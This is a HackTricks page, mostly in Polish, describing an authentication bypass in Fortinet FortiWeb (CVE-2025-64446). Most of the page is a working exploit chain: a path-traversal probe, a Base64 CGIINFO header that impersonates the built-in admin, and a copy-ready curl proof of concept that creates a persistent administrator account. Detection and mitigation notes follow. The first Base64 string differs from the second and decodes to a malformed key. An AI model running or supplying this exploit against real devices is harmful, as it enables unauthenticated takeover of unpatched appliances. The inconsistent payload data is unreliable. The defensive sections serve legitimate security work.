Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

Fortinet FortiWeb exposes a centralized CGI dispatcher at /cgi-bin/fwbcgi. Łańcuch dwóch błędów pozwala zdalnemu, niezautoryzowanemu atakującemu na:

  • Osiągnąć dostęp do fwbcgi przez rozpoczęcie URL od prawidłowego API prefix i wykonanie directory traversal.
  • Podszyć się pod dowolnego użytkownika (w tym wbudowanego admin) poprzez przesłanie specjalnego nagłówka HTTP, któremu CGI ufa jako tożsamości.

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Zauważono eksploity w środowisku rzeczywistym służące do tworzenia trwałych kont administracyjnych.

Impacted versions (as publicly documented):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.

Szybkie sprawdzenie podatności

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretacja: HTTP 200 → prawdopodobnie podatny; HTTP 403 → załatany.

Łańcuch przyczynowy

  1. API-prefix path traversal to internal CGI
  • Każda ścieżka żądania, która zaczyna się od prawidłowego prefiksu API FortiWeb (np. /api/v2.0/cmdb/ lub /api/v2.0/cmd/), może użyć ../ do przejścia do /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Gdy fwbcgi zostanie osiągnięty, pierwszy filtr wykonuje permisywną weryfikację JSON opartą na pliku przypisanym do ścieżki w /var/log/inputcheck/. Jeśli plik nie istnieje, weryfikacja przechodzi natychmiast. Jeśli plik istnieje, ciało żądania musi być jedynie poprawnym JSON-em. Użyj {} jako minimalnego zgodnego ciała.
  1. Header-driven user impersonation
  • Program odczytuje zmienną środowiskową CGI HTTP_CGIINFO (pochodzącą z nagłówka HTTP CGIINFO), dekoduje ją z Base64, parsuje JSON i kopiuje atrybuty bezpośrednio do kontekstu logowania, ustawiając domenę/VDOM. Klucze warte uwagi:
  • username, loginname, vdom, profname
  • Przykładowy JSON do podszycia się pod wbudowanego admina:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 powyższego (stosowane w praktyce):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Schemat nadużycia end-to-end (nieuwierzytelniony → admin)

  1. Dostań się do /cgi-bin/fwbcgi poprzez API-prefix traversal.
  2. Prześlij dowolne poprawne ciało JSON (np. {}), aby spełnić sprawdzenie wejścia.
  3. Wyślij nagłówek CGIINFO: <base64(json)>, gdzie JSON definiuje docelową tożsamość.
  4. Wykonaj POST z backendowym JSON oczekiwanym przez fwbcgi, aby wykonać akcje z uprawnieniami (np. utworzyć konto administratora dla trwałości).

Minimalny cURL PoC

  • Sprawdź, czy występuje ekspozycja traversal:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Podszyj się pod administratora i utwórz nowego lokalnego użytkownika z uprawnieniami administratora:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Uwagi:

  • Dowolna prawidłowa treść JSON wystarczy (np. {}) jeśli /var/log/inputcheck/<path>.json nie istnieje.
  • Schemat akcji jest wewnętrzny dla FortiWeb; powyższy przykład dodaje lokalnego administratora z pełnymi uprawnieniami.

Wykrywanie

  • Żądania docierające do /cgi-bin/fwbcgi za pośrednictwem ścieżek z prefiksem API zawierających ../ (np. /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Obecność nagłówka CGIINFO zawierającego Base64 JSON z kluczami username/loginname/vdom/profname.
  • Artefakty po stronie backendu:
    • Oddzielne pliki dla każdej ścieżki w katalogu /var/log/inputcheck/ (konfiguracja gate).
  • Niespodziewane utworzenie administratora i zmiany konfiguracji.
  • Szybka weryfikacja: próba traversal zwracająca 200 (eksponowane) vs 403 (zablokowane w poprawionych wersjach).

Łagodzenie

  • Zaktualizuj do wersji z poprawką (np.: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) zgodnie z advisory producenta.
  • Do czasu załatania:
    • Nie eksponuj płaszczyzny zarządzania FortiWeb do niezaufanych sieci.
    • Dodaj reguły reverse-proxy/WAF blokujące:
      • Ścieżki zaczynające się od /api/ i zawierające ../cgi-bin/fwbcgi.
      • Żądania zawierające nagłówek CGIINFO.
    • Monitoruj i generuj alerty na podstawie powyższych wskaźników wykrycia.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks